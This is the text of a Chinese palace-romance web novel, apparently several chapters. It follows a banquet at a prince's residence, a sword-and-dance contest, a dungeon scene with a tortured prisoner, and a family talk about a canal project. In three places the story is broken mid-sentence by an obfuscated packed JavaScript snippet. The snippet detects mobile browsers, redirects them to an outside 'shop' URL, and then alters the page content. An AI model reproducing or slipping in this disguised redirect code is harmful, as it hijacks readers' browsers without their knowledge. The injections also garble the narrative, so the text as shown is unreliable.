襄王妃大方承认:“刘夫人眼神不错,正是这对镯子。” “前些日子王府遭贼,府中人追至程家的庄子,惊扰了程姑娘,我为了赔罪,便把镯子送她了。” “原来如此。” 萦娘也松了口气,看向宁嘉县主:“县主,王妃只是为了道歉罢了,并不是......” 岂料宁嘉县主的脸色越发沉闷,眼神恶毒。 萦娘郁闷地收回将要出口的话,不再言语。 宁嘉县主深吸了两口气,逼着自己撇开眼睛,把气顺了。 萦娘是个傻的,自以为聪明,实则从来看不懂局势。 她自小跟在昭阳大长公主身边,看着她如何钻营朝堂,如何拉拢朝臣,才不会愚蠢到觉得襄王妃为了赔罪,就会把太妃赏赐的白玉镯送出去。 襄王府不是皇宫,这镯子估计也不在宫内记册,可皇家赏人的镯子,怎可随随便便往外送? 襄王妃今日之举,绝对是为了给程晚苓造势,让她和襄王府的亲近变得理所当然。 如今是一对镯子,日后恐怕就是随意出入王府,而再之后,过往甚密也不会有人乱嚼舌根...... 一个小官之女,竟能有如此厚待。 宁嘉县主咬牙看向谢铉。 他正和谢镕说着什么,不过两人表情并不轻松,大抵是讨论朝政。 就算是站在太子身边,他依旧不输,眉目刚毅,不卑不亢,连谢镕都对他有几分敬让。 这样的人,她怎么愿意拱手相让。 程晚苓的事,若说其中没有谢铉的帮忙,她绝对不信。 可是凭什么? 宁嘉县主愤愤咬牙,恨不得把那对镯子砸碎了。 最近皇帝有意修建运河,直通南方的渠周,但朝臣却觉得此举劳民伤财、动摇国本,同意者寥寥,连太子也上了折子劝皇帝收回成意。 甚至有人说,运河旧址是前朝皇帝为了寻欢作乐建的,今上是不是也到了昏聩的年纪,想着巡幸游乐,收纳美色。 谢铉却是赞成一派,主张从各地调遣工匠前往。 此次谢镕大驾光临,正是请他放弃这件事,但谢铉没有相让。 襄王妃也注意到了二人之间的僵持,为了不伤和气,特意把人叫到面前。 “你们看看这些花,哪一株算得上花王?” 上京赏花自有一套评判的标准。 一盆花的美丑,可从形、色、香、韵四点上作为基础标准,又以时、境、器、礼四点作为其升华的要点。 谢铉虽然不爱花草,但少时也修炼过几本赏花要素,谢镕更加不用说,花形之美信手拈来,凡是能入他眼的,都能称赞几句。 襄王妃听得频频点头:“这么说,明昭喜欢这盆绯云缠玉,而殿下喜欢洛阳锦?” “程姑娘,你呢?” 晚苓本想退下,默默当一个透明人,无奈被襄王妃提点。 “这两盆花各有千秋,只在个人喜爱,实难抉择。” 她的一言一行代表了程家,私下里支持哪盆花都好,当着这么多人,很容易让人觉得是在站队。 她自然是想选绯云缠玉,毕竟那是江灵萱的,可按照惯例,场内地位最高的是太子…… 谢铉不怕和太子一争高低,她怕。 “王妃娘娘,我喜欢这个。”她指了指最前的一株粉玉蔷薇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371146|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这粉绡垂造型独特,花瓣娇艳无比,看着确实不错。”襄王妃点头道。 “王妃有所不知,粉绡垂是桥州名花,我是桥州人,所以瞧着亲切。” 襄王妃笑了:“果然是个妙人,和你说话倒舒服。” 她一招手,巧儿不知从何处搬来了一把椅子,让她坐在襄王妃的下首。 谢镕听完若有所思:“你是桥州人,又姓程,那该是户部程侍郎的女儿了。” 晚苓虚虚行了一礼,羞怯道:“正是,臣女愚钝,没见过什么世面,殿下莫要怪罪臣女不敬之罪。” 因为谢铉和谢镕的争论,所有人的目光也落在了绯云缠玉和洛阳锦身上。 襄王妃命人清点签数,两者平分秋色,数目居然相同。 这可让人犯了难,头彩只有一个,早早就放了话出去,是一只巴掌大的金龟,寓意长寿福绵。 襄王妃沉思片刻,让婢女把库房中的一尊青玉佛像请出来,与金龟并排摆放,让两家挑选。 最后江家要了金龟,何家要了佛像,并未起冲突。 赏花完毕,下人呈上各种花酿果酒,斟至桌前。 酒过三巡,何儇喝的满脸醉醺醺,摇摇晃晃起身:“咱们光喝酒也太无聊了,我提议,今日以花为笺,玩斗韵行令猜谜如何?再不然,每人行文作诗,我先出个头。” 卫国公府的大公子附和:“好!既然要结诗社,就由我来写序,编纂成册。” 这两人一起哄,另一旁威海将军府的二公子更夸张,直言天天作诗没意思,要当众舞剑。 和他一道来的几个世家子弟立刻起身拍手叫好...... 晚苓舔了舔杯口,莫名打了个寒颤。 生怕被他们注意到自己,默默往后退了几步,让自己消失在人群中。 谢铉凝眉扫了一眼威海将军府的二公子,他才收敛了:“算了……我突然想到园内女眷众多,剑法凌厉,伤及无辜就不好了。” 谢铉暗下眼眸,喝了两口酒抬步走人。 晚苓咬咬唇,偷偷跟了上去。 老天保佑,她可不是想和谢铉私会,而是想躲过一劫。 刚出门左右顾盼便直直撞到一堵人墙,鼻尖作痛。 晚苓彷徨退后:“谢......二公子。” “客气,不叫谢铉了?” 他这一说,晚苓有些羞赧:“我......” 好在谢铉没有计较,朝里头望了望,问她:“我出来是懒得听他们吟风弄月,卖弄风骚,你出来是做什么?” “你也不喜欢他们的诗词歌赋?”晚苓眼神亮了。 原来谢铉和她一样,也不喜欢吟诗作对。 嗯,人必有不善之处,谢铉是武将,一定也不喜欢何家卫家那些人,见面就要人先作诗,以文章论短长。 谢铉点头:“的确没什么意思。” 晚苓心中一喜,还没来得及附和,便听他道:“自我十岁始,到从军之时,年年陛下举办探春宴曲水宴,射覆赋诗都是我夺头筹,早就玩腻了,就算是舞剑,他们也是花架子,经不得细究。” “......” 谢铉说着说着,才发现她的樱桃小嘴抿得死死的,眉目紧凑,正恶狠狠盯着他,一脸幽怨。 “这里不是......” 晚苓没注意路途,跟着谢铉亦步亦趋,等到了地方,才发现居然是谢铉的院子。 门口的守卫没再过问,目不转睛,好似从来没看到她。 谢铉带着她进去,不过进的是偏室。 无人居住,倒放着许多奇奇怪怪的东西。 烛火明灭,映得四壁的木架愈发雅致,最正中,立着一架长约六尺的紫檀架。 架上只有一柄长剑,通体沉黑,剑脊至剑锷布满了菱形暗纹,泛着幽幽冷光,不似寻常铁器的青灰,倒像淬了冰。 晚苓走近,想要摸上一摸,又怕伤了自己。 谢铉站在她身侧,将她那点小心思瞧得分明,抬手上前。 修长的手指扣住剑柄,轻轻一提,那剑便离了木架,光影虚晃横在她面前。 “想要试试吗?” 很快他又摇头,展眉一笑:“这柄剑对你来说太重了,嗯,那把会轻很多。” 晚苓顺着他的目光望去,他指的是另外一个架子上的银色长剑。 虽然是银色,但不知是何缘故,浑身却茫茫的透着一股青翠冷光。 这么漂亮的利器,就算她不善武功,也不免心动,依言走到架前。 柄上嵌了一块豆大的绿松石,刻着碧波二字。 她记得,刚刚就有人吟过一句“色若辉月映碧波”,所以这剑的名字应该是出自诗文? 晚苓双手提起那柄银剑,清丽的脸庞映在剑上,连睫毛都清晰可见。 “真漂亮!好像一面镜子!” 她一脸惊喜仰望剑的主人,两只杏眼圆润,眸光灿若流星。 18. 连村姑也及不上? 谢铉嗯了一声,静静看着她。 晚苓试着掂量几下,福至心灵将银剑搭在他的剑之上,想对比一下哪一把更清晰。 兵器交割,声音刮擦刺耳。 她下意识皱眉,闭上眼睛。 耳畔的声音消失,才睁开双眸问:“谢铉,这两柄剑哪一个好些?” 谢铉没有收回剑身,看着她笑:“剑无好坏,只有强硬锋利与否。” “譬如你手中这把,锋利至极但刚性不足,锻造的师傅把它的重心放在中段,普通人连它本身的三成厉害也使不出来,但若是内力深厚,反而成了益处,削骨绞肉,易如反掌……” 说着,门外闯进来一个灰色的身影,匆匆禀报:“公子,人已经准备好了。” 执玉瞧见晚苓也在剑室,有些惊讶,但很快更惊讶的事发生了。 晚苓好奇地把玩着银剑,眼珠一转,将剑尖指向谢铉:“你看,你的影子也在上面,鼻子好长好长。” 执玉背上一凉,渗出冷汗。 谢铉身份贵重,剑法卓绝,从未有人能把利器压在他的剑之上。 战场上,能用兵器对着他的人,无一例外都坟头长草了。 如今却被一个手无缚鸡之力的女子随意指着。 “程姑娘,刀剑无眼,您小心些……”执玉忍不住提醒。 对比他的胆战心惊,谢铉岿然不动,脸上不见半分变色:“无碍,不必大惊小怪。” 他对晚苓道:“伤你的人在地牢,要看看吗?” 人是一早就捉到了,施刑施了好几日也没吐出幕后主使。 执玉本以为谢铉会按惯例杀了了事,他却让人移到了王府的私牢。 牢内光线昏暗,执玉吩咐人点上火把。 石柱上,绑着一个遍体鳞伤黑衣人,浑身上下没有一块好皮,琵琶骨上两个大窟窿,手腕上的筋骨也被挑了出来,滴滴沥沥的血迹,新旧皆有。 光从脸辨认,晚苓也不大认得出,毕竟那日她从没看清过。 那人淬了毒似的看她,嘴角抿起,讥讽道:“谢铉,这是你带来给我解闷儿的女人么?长得真是带劲儿,居然不自己留着。” 声音喑哑不堪,好似含了一把沙砾。 谢铉眼神一凛,执玉便用墙角的辣椒水泼在了那人身上。 辣椒水顺着下颌的旧伤蜿蜒而下,在脸和脖颈烧出大片通红,混在血痕间火辣辣作响。 黑衣人瞬间眉头紧皱,唇舌被牙咬出汩汩血流。 晚苓不忍直视,侧身捂住了眼睛。 谢铉拿出手上的银剑,递给她:“上次他伤了你,想报仇吗?用这个。” 他有仇必报,所以才会把她叫来,让她也泄泄愤。 可惜晚苓远没有勇气伤人,更不敢用利器杀人。 “他好像不是那晚的人......”她如是道。 谢铉眼神一变,抬眸看向已经半死不活的黑衣人。 他已经被辣椒水烧得面目全非,浑身哆嗦,全靠绑绳捆住才没滑落在地。 听到晚苓的话,嘴角扯开一条缝,喉咙里发出一道诡异恐怖的笑声。 谢铉用剑挑起他的下巴,回想着当晚那人的身形、声音,甚至是身上的伤都对得上。 “你发现了什么?” “那天他不是知道我们......” 晚苓说不出口。 那晚黑衣人明明发现了她和谢铉认识,还猜测二人的关系,这才过了几天,不可能就忘了,还故意调侃谢铉带女人来。 谢铉正经严肃的脸变得有些不自然,拉着她后退了几步。 他确实没想过抓来的会是个赝品。 身形可以有相似,身上的伤也可以仿造,声音已经毁了,几乎是一个完美的仿冒者。 唯有一点是假冒不了的,那就是记忆。 他可以很确定那人夜视能力不弱,暗夜之中飞檐走壁如履平地,不可能看不清晚苓的面容。 今日却没有认出来,那就只有一点可以解释了。 “你说的对,是我疏忽了。” “既如此,他也没必要留着了。” 二人出了牢房,临关门的一瞬间,晚苓仿佛听到了一声让人头皮发麻的哀嚎。 她回头看了一眼。 地牢是阳光无法到达的,她什么也看不到。 谢铉习以为常:“既然他们敢潜入上京刺杀太子,就做好了有来无回的准备,罪有应得而已,你不必放在心上。” “对了,你和太子认识?”他似不经意提起。 谢镕没有劝动他,临走之时,独独和她闲聊了两句,任谁都有几分好奇她是如何识得太子。 晚苓木然点头又摇头,解释道:“我之前和灵萱偷偷溜出了园子,偶遇太子殿下,闲聊了几句。” 说完她又迟疑了一会儿:“你和他......好像关系不是很好?” 谢铉缓缓将银剑藏于剑鞘之内,脸色平常,坦然自若:“他是太子,我怎会和他交恶,只是政见不同,难免有冲突,都是小事罢了。” 毕竟是堂兄弟,年纪相仿,自幼生活启蒙都在一处,就算不是棠棣情深,也能说得上话。 时辰不早了,谢铉要送她回园子,二人前后踏入园内,正巧碰上有人舞剑。 晚苓惊讶发现,舞剑的居然是个女子,红衣如血黑发如墨,长剑在她手中来去自如,行如流水,在一片叫好声中罗衣翻飞,流云卷起霜雪。 剑走游丝,却又十分凌厉。 晚苓被她迫人的剑气惊住了,待她慢了速度才看清那人的面容。 “是宁嘉县主?” 想不到一贯以身份压人、目无下尘的宁嘉县主有一手好剑术。 旁边的萦娘满口称赞,啧啧叫好:“县主不愧是我大梁第一贵女,越女剑舞的出神入化,无人能及。” 就连自诩高手的威远将军府公子也道:“一舞剑器动四方,县主刚柔并济,莫不如是。” 看到晚苓和谢铉出现,宁嘉县主曾有一瞬停顿,而后行剑的速度越来越快,剑花霹雳,身形矫健,最后只剩声音和光影。 当剑花刺破空气,幻影而来直至眼前时,晚苓眼花缭乱,双脚木然呆愣在原地,脑子一片空白。 剑影锋芒之中好像有一道白光闪过,与风强硬割裂,直冲她额头而来。 两剑相碰,一声刺耳的裂响从耳边划过。 越女剑被拦腰而断,断端划出一道绝美的弧线,深深嵌进角落里的青石板。 “这......” 众人惊得不知该说什么好。 差点被一剑刺穿额头的晚苓,反应过来后背全是冷汗,不可置信看向对方。 后者没有半分愧疚之心,扫了一眼地上断剑,不耐烦道:“程姑娘,越女剑本就是我随心而舞,舞至兴头处差点没收住,还望程姑娘不要见怪。” “......” “怎么,程姑娘又要被吓病了吗?” 见晚苓不说话,她把剑柄扔在地上,一副你能耐我何的自信:“那程姑娘的胆子可有些脆弱,若觉得被我吓委屈了,自可舞上一段比试比试,我绝不请外援。” 说到外援时,她瞟了一眼手持银剑的谢铉。 方才就是他挡在两人之间,毫不留情劈断了她的剑。 程晚苓空有一副好容貌,毫无所长,别说舞剑,恐怕连剑都没摸过几回,怎么可能和她比试。 “可以。” “你说什么?”宁嘉县主愣了一愣。 晚苓站前一步,挡住了谢铉的剑。 与宁嘉县主对立直视时,清丽的眸眼多了两分当仁不让的魄气。 “县主一舞动京城,剑术精湛无可比拟,晚苓不才,不善用剑,但仍不愿拂了县主美意。” “既然你不会,那你比什么?”宁嘉县主傲慢道。 “县主舞剑,我便跳舞吧,总不好差别太大,胜之不武。” “你,会跳舞?”宁嘉县主嗤了一声。 晚苓笑而不语,翩然点头。 萦娘转了转眼珠,从一旁出来笑道:“程姑娘,咱们这是大雅之堂,别是什么有辱斯文的淫词艳舞,伤风败俗,脏了王妃娘娘的宴会。” “当然。”晚苓没有看她,而是对着宁嘉县主说话。 “好,这比试我应下了,我倒要看看程姑娘如何胜过我。” 宁嘉县主憋着一股气,愤愤回了座席。 萦娘紧随其后,安抚她情绪:“县主何必生气,凭她跳上天宫也逃不过俗气,怎能和您的越女剑相比呢?” “瞧这架势,又是换衣服又是腾地方,没准是心虚趁机逃跑,再派个婢女出来说自己身体不适,那就可笑了。” 除了宁嘉县主和萦娘,其他人虽然没有直言讽刺,心底也不太相信世间还有舞蹈能胜过宁嘉县主的越女剑。 何三姑娘反倒来了兴趣,放下笔墨饮了口茶,瞥了眼奉承讨好的萦娘,略带薄凉开口: “萦表妹,君子纳与言而敏与行,你整日看不起这个看不起那个,怎的不见你拿出真本事,闺阁千金该守的是口德,不是把别人的是非当瓜子嗑。” 萦娘有宁嘉县主在旁壮胆,自然不甘落后:“三表姐,你别是站在程晚苓那边,我可知晓,二公子拒了何家,却和程晚苓同出同入,打的是谁的脸,谁人不知?” 何三姑娘并没被说中痛处的难过,反而不屑地白了她一眼:“婚姻本就是月老系绳,成与不成皆是天意,既然我和二公子无缘,那便是桥归桥路归路,各走一边,有何可放在心上的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371147|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她嫌恶地看了一眼萦娘,想起了什么:“但若有人想逆天而行,做出偷梁换柱的事,那才是腌臜污秽,一辈子都洗不掉,萦表妹,你说是不是?” “你——你乱说什么?谁偷梁换柱......” 萦娘听了何三姑娘的话,本想继续辩驳,可那么多人看着她,她心知若是再说下去,恐怕会被人揪出是非,只得闭上嘴巴,怨恨地看了何三姑娘一眼,躲回宁嘉县主身边。 没一会儿,婢女搬了把凤尾琴架于席上,江灵萱绑了宽大的袖子端坐在旁。 “装腔作势。”萦娘鄙夷道。 “那也好过野犬狂吠,狐假虎威,不知狗头嘴脸惹人嫌。”江灵萱不甘示弱呛声。 她不屑和萦娘多言,怡然自得起手抚琴。 指尖落于琴弦,琤琮一声,清泠疏淡,入境之后,渺渺茫茫,引得人耳尖发痒,忍不住屏息细听。 “这琴音袅袅,自有一种天然韵致,可我却从未听过,难不成是哪位大家谱的新曲?” “不像不像,这调子非雅非俗,非古非今,听着熟悉,却一点也想不起来。” “莫不是在梦里碰见的?” 在场谙熟音律的不少,尤其是卫家和何家的几位,可听了许久都没听出是什么曲子。 没过多久,身穿青纱的少女从远处盈盈而至。 她手拿两支五尺长的羽翎,衣袂飘飘如云霞翻涌,一旋一转皆如鸾凤起势,惊起一圈涟漪。 青白相间的披帛绕于细腕,吹至半空,如空灵无所依托的仙蝶。 琴声如清泉击石,青白二色的披帛任风收卷,比墨染就还飘逸自如,自带一股仙气。 “县主说她蠢钝,身无长物,我还以为当真是什么也不会,可这舞跳的,若没有十年功力,绝对不可能如此惊人。” “是啊,她的腰怎么能弯折成那样,柔若无骨,却力道十足。” “脚力也不差,刚刚纵身跳跃那么高,我还从未看过这种舞蹈呢,似云又似仙,把我的魂儿都招去了。” “这是什么舞,好似从未看过。”连见多识广的襄王妃都惊讶了,问一旁痴迷看着的世子妃。 “像是千年前,古国仓翎所用的祈祝之舞,儿媳曾在一本古籍上见过,名曰青鸾祈,其所注玄袖流云,凤仪婉转,大约就是如此身姿。” 世子妃话音平常,眼神却直直盯着跳舞的人。 看起来柔柔弱弱,稍不注意就会被风吹跑,跳舞时驭风起势,一点也不输宁嘉县主舞剑的张扬气势。 此舞讲究以心驭舞,形神合一,对气息调控和节奏感的把握近乎苛刻,若是做不到一气呵成,便会如凤凰涅槃失败般坠落湮灭,再无神形。 青鸾祈失传多年,要不是她出身卫家也认不出来。 也不知程晚苓在何处学会的。 世子妃抱着谢瑶,若有所思。 这舞如此吸引人,除了舞姿蹁跹若神灵下凡,当然女子的身段和身姿也是不可或缺的绝美。 她乖巧站着答话时还只是觉得这个女子面容姣好,眼神灵动,让人心悦。 可此时配上她自信的神色,尤其是眸中那股子勾人而不觉的招摇和专注,不知不觉就让人深陷其中。 “原来程姑娘竟有如此本事,怎么外界皆传言她腹中空空,是个娇养出来的愚笨美人,论起才思,连村姑也及不上?” “我也有耳闻,说程侍郎府上千金,容貌虽然出色,却是个绣花枕头,腹中半点笔墨也无,前些日子还得罪了公主府,被大长公主当面斥责过。” “传言哪有尽实的,你看她那身段,杨柳细腰,跳起舞来腰肢款摆,软媚入骨,这般风姿,才是真绝色呢。” 几个男人说得小声,众人又被舞姿吸引,自以为没人听到,相互用眼神交流了几瞬。 只不过当其中一个无意扫到谢铉身上时,忽然不说话了。 其他两个还以为他魔怔了,碰了碰他手肘。 直到看见谢铉明显不悦的眼神是对着自己的,惶然收起心思,站在柱子后躲了。 “祖母,阿瑶喜欢这个姐姐,她是不是仙女?”谢瑶仰头问道。 襄王妃揉了揉她的小脸,教她坐在自己腿上,点头称赞:“此舞犹如仙鸟临凡,确实不俗,这才担得起一舞动京城之名,而非矫揉造作。” 琴声停止,在场的人意犹未尽,晃然不知舞已完毕。 等晚苓广袖便如流云般缓缓垂落,袖掩面躬身行礼时,才齐齐拍手叫好,称赞声不绝。 羽翎不偏不倚,指向中央。 “王妃娘娘,晚苓献丑了。” 行完一礼,趁着偏头收尾的动作,她悄悄抬眼望向谢铉。 本以为他会惊喜,却撞进一双黑得似浸了墨汁的眸子里。 19. 儿子和侄子 他似乎并不喜欢...... 难道是自己太招摇了?可她只是不想躲在他身后苟且偷生。 他不是说了么,靠别人不如靠自己。 现下她靠自己赢了,怎么他反倒更烦了的样子。 眉峰紧紧蹙着,日光落在那张棱角分明的侧脸上,勾勒出紧抿的薄唇。 看她的目光里,没有半分赞赏,反倒含着些说不清道不明的郁气,连带着周身的气息都冷了几分。 晚苓蓦然有些低落,漫不经心把羽翎放在婢女手上。 襄王妃从主位走下来,连连惊叹:“晚苓这一舞,灵羽翩跹,玄袖惊鸿,怎么会是献丑,分明是让京城之内再无二者,程夫人教女有方,羡煞我等俗人。” 从生疏的程姑娘,到熟稔的晚苓,其中区别谁都听得出来。 程夫人从未想过自己还能被襄王妃夸赞,遥遥行了一礼:“王妃抬举小女,不过是女儿家的玩闹之举,何德何能得此评价。” 襄王妃是个大方的,不由分说拔下头上一支红宝石珠钗,簪到晚苓发髻上。 “今日见你,倒叫我欣喜,这珠钗衬你,便收下吧。” 晚苓点头,眼圈也因为兴奋和激动染上了红色,抿着唇,不知该如何言语。 上次见襄王妃还是在玉华山,那时襄王妃虽然有意护她,但也只是说了一句,这次却像是特意告诉其他人,她是她看重的人。 “多谢王妃娘娘,能让娘娘展颜一笑,晚苓三生有幸。” 襄王妃慈爱笑着,拍了拍她的手,示意她同她一齐坐下。 这般亲厚的待遇,在一贯眼高于顶的襄王府还是头一遭。 以前也有其他府邸的女儿想要讨她喜欢,投其所好献宝,襄王妃都一笑置之,就算赏赐,也都是府里收藏的书画和摆件。 簪环是私物,若用来送人,那便代表此人是她极为喜欢的。 襄王妃在大庭广众之下亲自为她簪上珠钗,分明是听了旁人的议论,有心替她出头。 有她这一言,其他人趋之若鹜,仿佛刚刚贬低她的话不是自己说的。 萦娘看了眼宁嘉县主,脸色都青了,脂粉都遮不住愠怒。 刚刚舞剑之时,王妃光顾着和其他女眷说话,并无欣赏之意,现下却亲自站起身扶程晚苓,又赏了珠钗,莫不是真的看上了这个小官之女,想娶她进襄王府的大门? “县主......” “你还嫌不够丢人吗?” 萦娘不说话了,低头躲在婢女身后。 “成事不足,败事有余。”宁嘉县主骂道。 虽然她们不敢直接拿自己做对比,但其他人都在顺着襄王妃的意思夸赞程晚苓的舞蹈,她还有什么颜面? 没多久,宁嘉县主起身告辞,拂袖离开。 主心骨一走,萦娘承受不住旁人的目光,拽起裙摆头也不回追上去。 此次出行,宁嘉县主带了十余人,只有两名婢女跟着进了王府,其他都在府外等候,几人刚要出门,晃然察觉有一阵阴风吹来。 紧接着,两道银芒一闪,裂空般的声响擦着她鬓边飞过,刮去一缕青丝,嵌入门中。 发钗蓦然掉落,宁嘉县主僵在台阶上,前襟被穿堂风掀起,好不难堪。 她回首望去,是谢铉阴沉着脸站在后面。 她从未见过如此生气、不带一丝活人气息的谢铉,好似要夺了她的命一般,目光深锚,浑身气息比千尺深渊还冰冷。 “二表哥,你为了程晚苓,要我的命吗?”宁嘉县主含泪质问。 她根本没伤到程晚苓分毫,甚至心爱的越女剑也断成两截,谢铉怎么能这么对她! 谢铉轻嗤一声,眉目锋芒毕露,语气冰冷不近人情:“只是还你的剑罢了。” “襄王府不留公主府的客,也不会留公主府的剑,望你好自为之。” 说完便走了。 宁嘉县主恍然软了双脚,幸好婢女及时扶住了她。 “县主,您还好吧?”萦娘试探着询问。 宁嘉县主眼珠发红,死死抓着萦娘的衣袖厉声道:“为什么!到底为什么,他从来看不见!” “为什么他那么心冷!” 她日夜勤练才练出一手绝妙的越女剑,为的就是有朝一日能和他一同在宴会上双剑合璧,鸾凤齐鸣。 可是他却为了一个下贱的程氏女伤她至此,她真的好恨。 萦娘手松了松。 此刻的她有些害怕,怕宁嘉县主会突然发疯,提剑杀了她。 更害怕谢铉走时的那个眼神,好像在说,她尚且不值得他亲自动手,但一定会让她十倍偿还。 . 宴会散去,晚苓坐临安侯的马车回府。 马车内可容纳数人,放置了一张梨木小几,为的是途中疲惫,让主人饮用茶点,看书解乏。 江灵萱素来看不惯公主府仗势欺人,宁嘉县主狠狠吃了这么大一瘪,她高兴坏了,拉着晚苓这个大功臣大声庆祝。 晚苓软软伸直双腿,任由江灵萱殷勤帮她捶腿,懒懒斜倚在牛皮软垫上。 “对了,你知道萦娘家出了什么事吗?” 何三姑娘说的那番话似乎意有所指,她不确定自己有没有听错。 江灵萱是个百晓通,凡是京中世家的八卦都逃不过她的法眼。 当然这也和中书令家那位二夫人有关。 他们家亲友遍布上京,谁家纳了几个小妾,谁家女儿扯头花这种事都能在第一时间知晓,江灵萱常常到中书令家打听。 “这事儿啊说来也是可笑。”江灵萱献完殷勤,挨着她坐下。 “萦娘原本和灵州许家订了亲,只是许家十年前掺和进一场贪污案中,逐渐没落了,朝中无人出仕。” “她不肯低嫁,一哭二闹三上吊逼着长辈妥协,为了女儿,静安侯夫妇俩居然在成亲当日,用一个旁支庶女把她换了,事后许家只能生生吃了这个亏,毕竟人也娶了,洞房也入了,又不能还回去。” 世上哪有不透风的墙,哪怕静安侯府尽力遮掩,暗示大家定亲的原本就是庶女,最终还是传了出去。 为了堵许家的嘴,静安侯夫妇只能把属于萦娘的嫁妆舍给了许家,又贴了好几个当铺,好话说尽才把风头压下去。 晚苓听完只觉得离谱,堂堂侯府,自称书香门第,竟做出这么不要脸的事? “他们不怕自此以后,没人和他们家结亲吗?” 这种背信弃义之事一出,谁家不怕他们再偷梁换柱一回,惹出一身腥。 江灵萱耸耸肩,拿起桌上的蜜饯塞进嘴里:“说的是呢,要不然萦娘怎会如此害怕旁人知晓,敢做不敢当。” 因着时间尚早,晚苓又去临安侯府待了一会儿,天色漫红才回家。 程夫人换了身衣裳,特意在门口回廊边等候丈夫。 晚苓进门便看到刚刚卸去官服的程侍郎,以及一脸笑意的程夫人。 她有些疑惑,怎么平日里伺候起居脱衣的婢女都没在,房中只有程家夫妇二人,但一看到程夫人脸上还残存着些许红晕,发髻也松了时,就什么都明白了。 夫妻二人听到响动,左右互看从榻上起身,掖了掖领子。 程侍郎咳嗽一声,假装严肃道:“怎么没声没息就进来了,也不叫人先通传。” 晚苓瞥开眼,无奈行了礼:“我进来时就一个人都没。” 程侍郎这才想起下人都被撵去外头了,但又不想丢了当家人的脸面,收紧脸色做出一副正经教导的模样:“祖训有云,入户奉亲,视仪如宾,就算与父母关系再好,也不能胡乱闯门。” 晚苓敷衍般应承了两句。 她已经及笄一年多了好么,又不是什么都不懂的小孩儿。 不就是撞见他们俩想要亲热吗,话本里写的比亲眼见的还多呢。 且她幼年时,夫妻俩以为她睡着了,当着她的面儿都亲热过好几回,她那时确实不懂,但又不是傻子没有记忆。 他们家最单纯、最没有城府的,恐怕只有她亲娘这个从幼年到嫁人都没受过什么苦的。 晚苓出生后的几年,祖母程老夫人屡次想要给程侍郎纳妾。 程夫人动辄哭闹,假装伤心要去外头庙里出家,程侍郎心肝似的把这个祖宗请回来,发誓自己绝不纳妾。 程夫人以为是自己眼泪奏效,实则就是程侍郎这个爱妻如命的妻管严,在背后顶了祖父的惩罚,放弃继承祖产,才赢得了喘息之机。 这也是何程侍郎尽职尽忠,上下打点,努力高升入京的原由。 “父亲,今日太子殿下也去了王府,您可知是为何?” 程侍郎一听便笑了,纳罕女儿怎么忽然关心起朝政,对着程夫人打趣:“苓儿是出息了,居然有幸得见太子。” 晚苓撒娇似的摇了摇他肩膀:“我是认真的,外面不是都在传太子殿下旧病不愈,可我瞧着他没什么啊。” 程侍郎坐在太师椅上,把她手拿下来放在掌心。 晚苓小小的、嫩嫩的手,和他这个经常外出公干、被晒过多年的糙手截然不同,程侍郎想着想着,有感而发,觉得女儿长得太快了。 过不了多久,她就要离了家,重新进入到另一家去生活。 程侍郎想过招婿,但江家有言在先不会亏待女儿,江二爷甚至直言晚苓婚后若有二子,可让次子随程姓。 能找到这样的婆家,已经是老天开眼,只他实在疼惜女儿,心中仍然担心。 天下无不是父母,可只有他们夫妻俩才是女儿的亲父母,才会真心把女儿当成宝贝一样疼爱,甚至胜过自己。 “苓儿长大了,凡事多留个心眼也是应当,若是日后父亲也不能再为你保驾护航,你也该周全心思,切不可再冲动行事。” 晚苓听罢,脸色不自觉也沉重几分。 “至于太子去襄王府,为父没有猜错的话,他是想让谢铉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371148|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劝陛下改变心意,停止运河的工程。” 他供职户部,修建运河是工部主管,但哪项工程不需要钱、不需要人呢,最根本的筹建,还是由户部主理。 修建运河一事,皇帝筹谋已久,让户部核算过好几次才决心动工。 晚苓不知晓修建运河具体是怎样做的,不知晓从上京到渠周多远,但她知道那是比桥州还要长一倍的路程。 她和程夫人坐马车来上京都快要一个月,坐到腰酸背疼,整个人散架,期间有两匹马因为水土不服死了,又重新买了两匹,风雨兼程,这才见到了上京的城墙。 修建运河工程有多大,需要耗费多少人力物力,征调多少百姓可想而知。 既是自家女儿,程侍郎相信她的口风,说起朝堂大事也没有含糊。 只是谈到谢镕时,多了几分惋惜。 “太子殿下这辈子,成是因为仁这个字,可惜,败也败在这个字上。” “仁心、仁德、仁义,他都有,所以他见不得劳民伤财,见不得百姓流离失所,见不得官宦趁机敛财。” “修建运河,罪在当代,利在千秋,他爱民如子,与其现在耗费国库,不如让百姓休养生息,过几年安生日子。” 